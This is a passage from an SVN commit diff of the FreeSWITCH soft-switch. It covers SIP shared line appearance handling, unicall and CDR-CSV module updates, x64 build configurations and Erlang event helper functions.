+	sofia_transport_t transport = sofia_glue_url2transport(sip->sip_contact->m_url);
+	char network_ip[80];
+	int network_port = 0;
+
+	sofia_glue_get_addr(nua_current_request(nua), network_ip,  sizeof(network_ip), &network_port);
+
+	sql = switch_mprintf("select call_id from sip_shared_appearance_dialogs where hostname='%q' and profile_name='%q' and contact_str='%q'", 
+						 mod_sofia_globals.hostname, profile->name, contact_str);
+	sofia_glue_execute_sql_callback(profile, SWITCH_FALSE, profile->ireg_mutex, sql, get_call_id_callback, &sh);
+
+	free(sql);
+	
+	if (*sh.call_id) {
+		if (!(nh = nua_handle_by_call_id(profile->nua, sh.call_id))) {
+			if ((sql = switch_mprintf("delete from sip_shared_appearance_dialogs where hostname='%q' and profile_name='%q' and contact_str='%q'", 
+									  mod_sofia_globals.hostname, profile->name, contact_str))) {
+				sofia_glue_execute_sql(profile, &sql, SWITCH_TRUE);
+			}
+		}
+	}
+
+	if (!nh) {
+		nh = nua_handle(nua, NULL, NUTAG_URL(sip->sip_contact->m_url), TAG_NULL());
+	}
+
+	nua_handle_bind(nh, &mod_sofia_globals.keep_private);
+
+	switch_snprintf(exp_str, sizeof(exp_str), "%ld", exptime + 30);
+	if (sofia_glue_check_nat(profile, network_ip)) { 
+		switch_snprintf(my_contact, sizeof(my_contact), "<sip:%s@%s;transport=%s>;expires=%s", profile->sla_contact, 
+						profile->extsipip, sofia_glue_transport2str(transport), exp_str);
+	} else {
+		switch_snprintf(my_contact, sizeof(my_contact), "<sip:%s@%s;transport=%s>;expires=%s", profile->sla_contact, 
+						profile->sipip, sofia_glue_transport2str(transport), exp_str);
+	}
+	nua_subscribe(nh,
+				  SIPTAG_TO(sip->sip_to),
+				  SIPTAG_FROM(sip->sip_to),
+				  SIPTAG_CONTACT_STR(my_contact),
+				  SIPTAG_EXPIRES_STR(exp_str),
+				  SIPTAG_EVENT_STR("dialog;sla"),	/* some phones want ;include-session-description too? */
+				  TAG_NULL());
+
+	free(contact_str);
+}
+
+void sofia_sla_handle_sip_i_publish(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sip_t const *sip, tagi_t tags[])
+{
+	/* at present there's no SLA versions that we deal with that do publish. to be safe, we say "OK" */
+	nua_respond(nh, SIP_200_OK, NUTAG_WITH_THIS(nua), TAG_END());
+}
+
+void sofia_sla_handle_sip_i_subscribe(nua_t *nua, const char *contact_str, sofia_profile_t *profile, nua_handle_t *nh, sip_t const *sip, tagi_t tags[])
+{
+	char *aor = NULL;
+	char *subscriber = NULL;
+	char *sql = NULL;
+	char *route_uri = NULL;
+	char *sla_contact = NULL;
+	char network_ip[80];
+	int network_port = 0;
+	sofia_transport_t transport = sofia_glue_url2transport(sip->sip_contact->m_url);
+
+	sofia_glue_get_addr(nua_current_request(nua), network_ip,  sizeof(network_ip), &network_port);
+	/*
+	 * XXX MTK FIXME - we don't look at the tag to see if NUTAG_SUBSTATE(nua_substate_terminated) or
+	 * a Subscription-State header with state "terminated" and/or expiration of 0. So we never forget
+	 * about them here.
+	 * likewise, we also don't have a hook against nua_r_notify events, so we can't see nua_substate_terminated there.
+	*/
+
+	/*
+	 * extracting AOR is weird...
+	 * the From is the main extension, not the third-party one...
+	 * and the contact has the phone's own network address, not the AOR address
+	 * so we do what openser's pua_bla does and...
+	 */
+
+	/* We always store the AOR as the sipip and not the request so SLA works with NAT inside out */
+	aor = switch_mprintf("sip:%s@%s", sip->sip_contact->m_url->url_user, profile->sipip);
+
+	/*
+	 * ok, and now that we HAVE the AOR, we REALLY should go check in the XML config and see if this particular
+	 * extension is set up to have shared appearances managed. right now it is all-or-nothing on the profile,
+	 * which won't be sufficient for real life. FIXME XXX MTK
+	*/
+
+	/* then the subscriber is the user at their network location... this is arguably the wrong way, but works so far... */
+
+	subscriber = switch_mprintf("sip:%s@%s;transport=%s", sip->sip_from->a_url->url_user,
+								sip->sip_contact->m_url->url_host, sofia_glue_transport2str(transport));
+ 
+	if ((sql =
+		switch_mprintf("delete from sip_shared_appearance_subscriptions where subscriber='%q' and profile_name='%q' and hostname='%q'",
+			subscriber, profile->name, mod_sofia_globals.hostname
+			))) {
+		sofia_glue_execute_sql(profile, &sql, SWITCH_TRUE);
+	}
+
+	if ((sql =
+		 switch_mprintf("insert into sip_shared_appearance_subscriptions (subscriber, call_id, aor, profile_name, hostname, contact_str, network_ip) "
+		               "values ('%q','%q','%q','%q','%q','%q','%q')",
+		                subscriber, sip->sip_call_id->i_id, aor, profile->name, mod_sofia_globals.hostname, contact_str, network_ip))) {
+		sofia_glue_execute_sql(profile, &sql, SWITCH_TRUE);
+	}
+
+	if (strstr(contact_str, ";fs_nat")) {
+		char *p;
+		route_uri = sofia_glue_get_url_from_contact((char *)contact_str, 1);
+		if ((p = strstr(contact_str, ";fs_"))) {
+			*p = '\0';
+		}
+	}
+
+	if (route_uri) {
+		char *p;
+
+		while (route_uri && *route_uri && (*route_uri == '<' || *route_uri == ' ')) {
+			route_uri++;
+		}
+		if ((p = strchr(route_uri, '>'))) {
+			*p++ = '\0';
+		}
+	}
+	if (sofia_glue_check_nat(profile, network_ip)) { 
+		sla_contact = switch_mprintf("<sip:%s@%s;transport=%s>", profile->sla_contact, profile->extsipip, sofia_glue_transport2str(transport));
+	} else {
+		sla_contact = switch_mprintf("<sip:%s@%s;transport=%s>", profile->sla_contact, profile->sipip, sofia_glue_transport2str(transport));
+	}
+
+	nua_respond(nh, SIP_202_ACCEPTED, SIPTAG_CONTACT_STR(sla_contact), NUTAG_WITH_THIS(nua),
+				TAG_IF(route_uri, NUTAG_PROXY(route_uri)),
+				SIPTAG_SUBSCRIPTION_STATE_STR("active;expires=300"), /* you thought the OTHER time was fake... need delta here FIXME XXX MTK */
+				SIPTAG_EXPIRES_STR("300"), /* likewise, totally fake - FIXME XXX MTK */
+				/*  sofia_presence says something about needing TAG_IF(sticky, NUTAG_PROXY(sticky)) for NAT stuff? */
+				TAG_END());
+
+	switch_safe_free(aor);
+	switch_safe_free(subscriber);
+	switch_safe_free(route_uri);
+	switch_safe_free(sla_contact);
+	switch_safe_free(sql);
+}
+
+struct sla_notify_helper {
+	sofia_profile_t *profile;
+	char *payload;
+};
+
+void sofia_sla_handle_sip_r_subscribe(int status,
+									  char const *phrase,
+									  nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[])
+{
+	if (status >= 300) {
+		nua_handle_destroy(nh);
+		sofia_private_free(sofia_private);
+	} else {
+		char *full_contact = sip_header_as_string(nua_handle_home(nh), (void *) sip->sip_contact);
+		time_t expires = switch_epoch_time_now(NULL);
+		char *sql;
+		char *contact_str = sofia_glue_strip_uri(full_contact);
+
+		if (sip && sip->sip_expires) {
+			expires += sip->sip_expires->ex_delta + 30;
+		}
+
+		if ((sql = switch_mprintf("insert into sip_shared_appearance_dialogs (profile_name, hostname, contact_str, call_id, expires) "
+								  "values ('%q','%q','%q','%q','%ld')", 
+								  profile->name, mod_sofia_globals.hostname, contact_str, sip->sip_call_id->i_id, (long)expires))) {
+			sofia_glue_execute_sql(profile, &sql, SWITCH_TRUE);
+		}
+
+		free(contact_str);
+	}
+}
+
+void sofia_sla_handle_sip_i_notify(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sip_t const *sip, tagi_t tags[])
+{
+	char *sql = NULL;
+	struct sla_notify_helper helper;
+	char *aor = NULL;
+	char *contact = NULL;
+	sofia_transport_t transport = sofia_glue_url2transport(sip->sip_contact->m_url);
+
+	/*
+	 * things we know we don't do:
+	 *   draft-anil-sipping-bla says we should look and see if the specific appearance is in use and if it is
+	 *     return an error for the i_notify, to handle the initial line-seize for dialing out case.
+	 *     to do that we would need to really track all the appearances *and* override sofia's autoresponder for i_notify
+	 *     because at this point, it already sent the 200 for us.
+	 *   and we simply don't track all the appearance status by decoding the XML payload out and recording that in
+	 *     an SQL line appearance database yet. we'll need to do that in order to do the above, and in order to make
+	 *     interoperation possible between devices that disagree on the dialog xml payload OR don't even do it that
+	 *     way and instead use things like call-info/line-seize events like the old Broadsoft spec.
+	 *     instead we cheat and just reflect the entire payload back to the subscribers (who, because we don't
+	 *     yet check each AOR as it comes in to see if it is to be managed, is more subscribers than we probably
+	 *     should have). for the current prototype stage, this works ok anyway.
+	 *   and because we don't parse the XML, we even reflect it right back to the notifier/sender (which is called
+     *     "target" in the payload XML, of course).
+	 *   also because we don't track on a per-appearance basis, there IS NOT a hook back from sofia_glue to add
+	 *     an appearance index to the outbound invite for the "next free appearance". this can lead to race 
+	 *     conditions where a call shows up on slightly different line key numbers at different phones, making
+	 *     "pick up on line X" meaningless if such a race occurs. again, it is a prototype. we can fix it later.
+	*/
+
+
+	/* the dispatcher calls us just because it is aimed at us, so check to see if it is dialog;sla at the very least... */
+
+	if (  (!sip->sip_event) 
+	   || (strcasecmp(sip->sip_event->o_type, "dialog"))
+	   || !msg_params_find(sip->sip_event->o_params, "sla") ) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,"sent to sla-agent but not dialog;sla\n");
+		return;
+	}
+
+	/* calculate the AOR we're trying to tell people about. should probably double-check before derferencing XXX MTK */
+	/* We always store the AOR as the sipip and not the request so SLA works with NAT inside out */
+	aor = switch_mprintf("sip:%s@%s", sip->sip_to->a_url->url_user, profile->sipip);
+
+	/* this isn't sufficient because on things like the polycom, the subscriber is the 'main' ext number, but the
+	 * 'main' ext number isn't in ANY of the headers they send us in the notify. of course.
+	 * as a side effect, the subscriber<>'%q' below isn't sufficient to prevent reflecting the event back
+	 * at a phone that has the ext # != third-party#. see above, can only fix by parsing the XML for the 'target'
+	 * so we don't reflect it back at anyone who is the "boss" config, but we do reflect it back at the "secretary"
+	 * config. if that breaks the phone, just set them all up as the "boss" config where ext#==third-party#
+	 */
+	contact = switch_mprintf("sip:%s@%s;transport=%s",sip->sip_contact->m_url->url_user,
+							 sip->sip_contact->m_url->url_host, sofia_glue_transport2str(transport));
+
+	if (sip->sip_payload && sip->sip_payload->pl_data) {
+		sql = switch_mprintf("select subscriber,call_id,aor,profile_name,hostname,contact_str,network_ip from sip_shared_appearance_subscriptions where "
+		"aor='%q' and profile_name='%q' and hostname='%q'",
+		aor, profile->name, mod_sofia_globals.hostname); 
+
+		helper.profile = profile;
+		helper.payload = sip->sip_payload->pl_data; 	/* could just send the WHOLE payload. you'd get the type that way. */
+
+		/* which mutex if any is correct to hold in this callback? XXX MTK FIXME */
+		sofia_glue_execute_sql_callback(profile, SWITCH_FALSE, profile->ireg_mutex, sql, sofia_sla_sub_callback, &helper);
+
+		switch_safe_free(sql);
+		switch_safe_free(aor);
+		switch_safe_free(contact);
+	}
+}
+
+static int sofia_sla_sub_callback(void *pArg, int argc, char **argv, char **columnNames)
+{
+	struct sla_notify_helper *helper = pArg;
+	/* char *subscriber = argv[0]; */
+	char *call_id = argv[1];
+	/* char *aor = argv[2]; */
+	/* char *profile_name = argv[3]; */
+	/* char *hostname = argv[4]; */
+	char *contact_str = argv[5];
+	char *network_ip = argv[6];
+	nua_handle_t *nh;
+	char *route_uri = NULL;
+	char *xml_fixup = NULL;
+	char *fixup = NULL;
+	nh = nua_handle_by_call_id(helper->profile->nua, call_id);  /* that's all you need to find the subscription's nh */
+
+	if (nh) {
+
+		if (strstr(contact_str, ";fs_nat")) {
+			char *p;
+			route_uri = sofia_glue_get_url_from_contact(contact_str, 1);
+			if ((p = strstr(contact_str, ";fs_"))) {
+				*p = '\0';
+			}
+		}
+
+		if (route_uri) {
+			char *p;
+
+			while (route_uri && *route_uri && (*route_uri == '<' || *route_uri == ' ')) {
+				route_uri++;
+			}
+			if ((p = strchr(route_uri, '>'))) {
+				*p++ = '\0';
+			}
+		}
+
+		if (sofia_test_pflag(helper->profile, PFLAG_AUTO_NAT)) {
+			if (sofia_glue_check_nat(helper->profile, network_ip)) { 
+				fixup = switch_string_replace(helper->payload, helper->profile->sipip, helper->profile->extsipip);
+			} else  {
+				fixup = switch_string_replace(helper->payload, helper->profile->extsipip, helper->profile->sipip);
+			}
+			xml_fixup = fixup;
+		} else {
+			xml_fixup = helper->payload;
+		}
+		
+		nua_notify(nh,
+				   SIPTAG_SUBSCRIPTION_STATE_STR("active;expires=300"), /* XXX MTK FIXME - this is totally fake calculation */
+				   TAG_IF(route_uri, NUTAG_PROXY(route_uri)),
+				   SIPTAG_CONTENT_TYPE_STR("application/dialog-info+xml"),	/* could've just kept the type from the payload */
+				   SIPTAG_PAYLOAD_STR(xml_fixup),
+				   TAG_END());
+		switch_safe_free(route_uri);
+		if (fixup && fixup != helper->payload) { 
+			free(fixup);
+		}
+	}
+	return 0;
+}

Modified: freeswitch/branches/seven/src/mod/endpoints/mod_unicall/mod_unicall.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_unicall/mod_unicall.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_unicall/mod_unicall.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2008, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005/2008, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Steve Underwood 0.0.1 <steveu@coppice.org>
  *
  *
@@ -202,7 +202,7 @@
     
     *sp = NULL;
     
-    if (!(session = switch_core_session_request(openzap_endpoint_interface, NULL)))
+    if (!(session = switch_core_session_request(openzap_endpoint_interface, SWITCH_CALL_DIRECTION_INBOUND, NULL)))
     {
         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Initialization Error!\n");
         return ZAP_FAIL;
@@ -932,6 +932,27 @@
     return SWITCH_STATUS_SUCCESS;
 }
 
+static switch_status_t unicall_on_destroy(switch_core_session_t *session)
+{
+    //switch_channel_t *channel;
+    private_t *tech_pvt;
+
+    //channel = switch_core_session_get_channel(session);
+    //assert(channel != NULL);
+
+    tech_pvt = switch_core_session_get_private(session);
+
+	if (tech_pvt) {
+		if (switch_core_codec_ready(&tech_pvt->read_codec))
+			switch_core_codec_destroy(&tech_pvt->read_codec);
+		if (switch_core_codec_ready(&tech_pvt->write_codec))
+			switch_core_codec_destroy(&tech_pvt->write_codec);
+	}
+	
+	return SWITCH_STATUS_SUCCESS;
+		
+}
+
 static switch_status_t unicall_on_hangup(switch_core_session_t *session)
 {
     switch_channel_t *channel;
@@ -948,11 +969,7 @@
     switch_clear_flag_locked(tech_pvt, TFLAG_VOICE);
     //switch_thread_cond_signal(tech_pvt->cond);
 
-    if (tech_pvt->read_codec.implementation)
-        switch_core_codec_destroy(&tech_pvt->read_codec);
-    if (tech_pvt->write_codec.implementation)
-        switch_core_codec_destroy(&tech_pvt->write_codec);
-
+		
     switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s channel hangup\n", switch_channel_get_name(channel));
 
 #if 0
@@ -1540,7 +1557,7 @@
 
 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_outgoing_channel(%p)\n", (void *) session);
 
-    if ((*new_session = switch_core_session_request(unicall_endpoint_interface, pool)) == NULL)
+ if ((*new_session = switch_core_session_request(unicall_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) == NULL)
     {
         return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
     }
@@ -1722,7 +1739,14 @@
     /*.on_execute */ unicall_on_execute,
     /*.on_hangup */ unicall_on_hangup,
     /*.on_exchange_media */ unicall_on_exchange_media,
-    /*.on_soft_execute */ unicall_on_soft_execute
+    /*.on_soft_execute */ unicall_on_soft_execute,
+    /*.on_consume_media*/ NULL,
+    /*.on_hibernate*/ NULL,
+    /*.on_reset*/ NULL,
+    /*.on_park*/ NULL,
+    /*.on_reporting*/ NULL,
+    /*.on_destroy*/ unicall_on_destroy
+
 };
 
 switch_io_routines_t unicall_io_routines =

Property changes: freeswitch/branches/seven/src/mod/event_handlers/mod_cdr_csv


Name: svn:ignore
   - mod_cdr_csv.so
.libs
Debug
*.pdb
*.user
Release
debug
   + mod_cdr_csv.so
.libs
Debug
*.pdb
*.user
Release
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/event_handlers/mod_cdr_csv/mod_cdr_csv.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/event_handlers/mod_cdr_csv/mod_cdr_csv.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/event_handlers/mod_cdr_csv/mod_cdr_csv.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -79,6 +82,71 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops;..\..\..\..\w32\curl.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories=""
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops;..\..\..\..\w32\curl.vsprops"
@@ -141,6 +209,72 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops;..\..\..\..\w32\curl.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories=""
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories=""
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/event_handlers/mod_cdr_csv/mod_cdr_csv.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/event_handlers/mod_cdr_csv/mod_cdr_csv.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/event_handlers/mod_cdr_csv/mod_cdr_csv.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,7 +17,7 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
@@ -52,6 +52,7 @@
 	switch_hash_t *template_hash;
 	char *log_dir;
 	char *default_template;
+	int masterfileonly;
 	int shutdown;
 	int rotate;
 	int debug;
@@ -99,7 +100,7 @@
 	fd->fd = -1;
 
 	if (globals.rotate) {
-		switch_time_exp_lt(&tm, switch_timestamp_now());
+		switch_time_exp_lt(&tm, switch_micro_time_now());
 		switch_strftime_nocheck(date, &retsize, sizeof(date), "%Y-%m-%d-%H-%M-%S", &tm);
 
 		len = strlen(fd->path) + strlen(date) + 2;
@@ -165,7 +166,7 @@
 	switch_mutex_unlock(fd->mutex);
 }
 
-static switch_status_t my_on_hangup(switch_core_session_t *session)
+static switch_status_t my_on_reporting(switch_core_session_t *session)
 {
 	switch_channel_t *channel = switch_core_session_get_channel(session);
 	switch_status_t status = SWITCH_STATUS_SUCCESS;
@@ -199,7 +200,7 @@
 
 	if (globals.debug) {
 		switch_event_t *event;
-		if (switch_event_create(&event, SWITCH_EVENT_CHANNEL_DATA) == SWITCH_STATUS_SUCCESS) {
+		if (switch_event_create_plain(&event, SWITCH_EVENT_CHANNEL_DATA) == SWITCH_STATUS_SUCCESS) {
 			char *buf;
 			switch_channel_event_set_data(channel, event);
 			switch_event_serialize(event, &buf, SWITCH_FALSE);
@@ -209,7 +210,7 @@
 			free(buf);
 		}
 	}
-
+	
 	g_template_str = (const char *) switch_core_hash_find(globals.template_hash, globals.default_template);
 
 	if ((accountcode = switch_channel_get_variable(channel, "ACCOUNTCODE"))) {
@@ -226,7 +227,7 @@
 
 	log_line = switch_channel_expand_variables(channel, a_template_str);
 
-	if (accountcode) {
+	if ((accountcode) && (!globals.masterfileonly)) {
 		path = switch_mprintf("%s%s%s.csv", log_dir, SWITCH_PATH_SEPARATOR, accountcode);
 		assert(path);
 		write_cdr(path, log_line);
@@ -286,9 +287,14 @@
 	/*.on_init */ NULL,
 	/*.on_routing */ NULL,
 	/*.on_execute */ NULL,
-	/*.on_hangup */ my_on_hangup,
+	/*.on_hangup */ NULL,
 	/*.on_exchange_media */ NULL,
-	/*.on_soft_execute */ NULL
+	/*.on_soft_execute */ NULL,
+	/*.on_consume_media*/ NULL,
+	/*.on_hibernate*/ NULL,
+	/*.on_reset*/ NULL,
+	/*.on_park*/ NULL,
+	/*.on_reporting*/ my_on_reporting
 };
 
 
@@ -333,6 +339,8 @@
 					globals.rotate = switch_true(val);
 				} else if (!strcasecmp(var, "default-template")) {
 					globals.default_template = switch_core_strdup(pool, val);
+				} else if (!strcasecmp(var, "master-file-only")) {
+					globals.masterfileonly = switch_true(val);
 				}
 			}
 		}

Property changes: freeswitch/branches/seven/src/mod/event_handlers/mod_erlang_event


Name: svn:ignore
   + Makefile
Win32

Deleted: freeswitch/branches/seven/src/mod/event_handlers/mod_erlang_event/Makefile

Copied: freeswitch/branches/seven/src/mod/event_handlers/mod_erlang_event/Makefile.in (from rev 14471, freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/Makefile.in) (0 => 14472)


--- freeswitch/branches/seven/src/mod/event_handlers/mod_erlang_event/Makefile.in	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/event_handlers/mod_erlang_event/Makefile.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,9 @@
+LOCAL_SOURCES=handle_msg.c ei_helpers.c
+LOCAL_OBJS=handle_msg.o ei_helpers.o
+LOCAL_CFLAGS= @ERLANG_CFLAGS@ -D_REENTRANT
+LOCAL_LDFLAGS= @ERLANG_LDFLAGS@
+
+include ../../../../build/modmake.rules
+
+
+

Modified: freeswitch/branches/seven/src/mod/event_handlers/mod_erlang_event/ei_helpers.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/event_handlers/mod_erlang_event/ei_helpers.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/event_handlers/mod_erlang_event/ei_helpers.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Andrew Thompson <andrew@hijacked.us>
  * Rob Charlton <rob.charlton@savageminds.com>
  *
@@ -41,23 +41,24 @@
  * */
 
 #define put8(s,n) do { \
-	  (s)[0] = (char)((n) & 0xff); \
-	  (s) += 1; \
+	(s)[0] = (char)((n) & 0xff); \
+	(s) += 1; \
 } while (0)
 
 #define put32be(s,n) do {  \
-	  (s)[0] = ((n) >>  24) & 0xff; \
-	  (s)[1] = ((n) >>  16) & 0xff; \
-	  (s)[2] = ((n) >>  8) & 0xff;  \
-	  (s)[3] = (n) & 0xff; \
-	  (s) += 4; \
+	(s)[0] = ((n) >>  24) & 0xff; \
+	(s)[1] = ((n) >>  16) & 0xff; \
+	(s)[2] = ((n) >>  8) & 0xff;  \
+	(s)[3] = (n) & 0xff; \
+	(s) += 4; \
 } while (0)
 
+
 void ei_link(listener_t *listener, erlang_pid *from, erlang_pid *to) {
 	char msgbuf[2048];
 	char *s;
 	int index = 0;
-	/*int n;*/
+	int ret;
 
 	index = 5;                                     /* max sizes: */
 	ei_encode_version(msgbuf,&index);                     /*   1 */
@@ -73,7 +74,7 @@
 	/* sum:  542 */
 
 	switch_mutex_lock(listener->sock_mutex);
-	write(listener->sockfd, msgbuf, index);
+	ret = write(listener->sockfd, msgbuf, index);
 	switch_mutex_unlock(listener->sock_mutex);
 }
 
@@ -92,21 +93,21 @@
 	ei_x_encode_list_header(ebuf, i+1);
 
 	if (uuid) {
-		ei_x_encode_string(ebuf, switch_event_get_header(event, "unique-id"));
+		_ei_x_encode_string(ebuf, switch_event_get_header(event, "unique-id"));
 	} else {
 		ei_x_encode_atom(ebuf, "undefined");
 	}
 
 	for (hp = event->headers; hp; hp = hp->next) {
 		ei_x_encode_tuple_header(ebuf, 2);
-		ei_x_encode_string(ebuf, hp->name);
-		ei_x_encode_string(ebuf, hp->value);
+		_ei_x_encode_string(ebuf, hp->name);
+		_ei_x_encode_string(ebuf, hp->value);
 	}
 
 	if (event->body) {
 		ei_x_encode_tuple_header(ebuf, 2);
-		ei_x_encode_string(ebuf, "body");
-		ei_x_encode_string(ebuf, event->body);
+		_ei_x_encode_string(ebuf, "body");
+		_ei_x_encode_string(ebuf, event->body);
 	}
 
 	ei_x_encode_empty_list(ebuf);
@@ -121,17 +122,208 @@
 	ei_encode_switch_event_headers(ebuf, event);
 }
 
+/* function to make rpc call to remote node to retrieve a pid - 
+   calls module:function(Ref). The response comes back as
+   {rex, {Ref, Pid}}
+ */
+int ei_pid_from_rpc(struct ei_cnode_s *ec, int sockfd, erlang_ref *ref, char *module, char *function)
+{
+	ei_x_buff buf;
+	ei_x_new(&buf);
+	ei_x_encode_list_header(&buf, 1);
+	ei_x_encode_ref(&buf, ref);
+	ei_x_encode_empty_list(&buf);
 
+	ei_rpc_to(ec, sockfd, module, function, buf.buff, buf.index);
+	ei_x_free(&buf);
+
+	return 0;
+}
+
+/* function to spawn a process on a remote node */
+int ei_spawn(struct ei_cnode_s *ec, int sockfd, erlang_ref *ref, char *module, char *function, int argc, char **argv)
+{
+	int i;
+	ei_x_buff buf;
+	ei_x_new_with_version(&buf);
+
+	ei_x_encode_tuple_header(&buf, 3);
+	ei_x_encode_atom(&buf, "$gen_call");
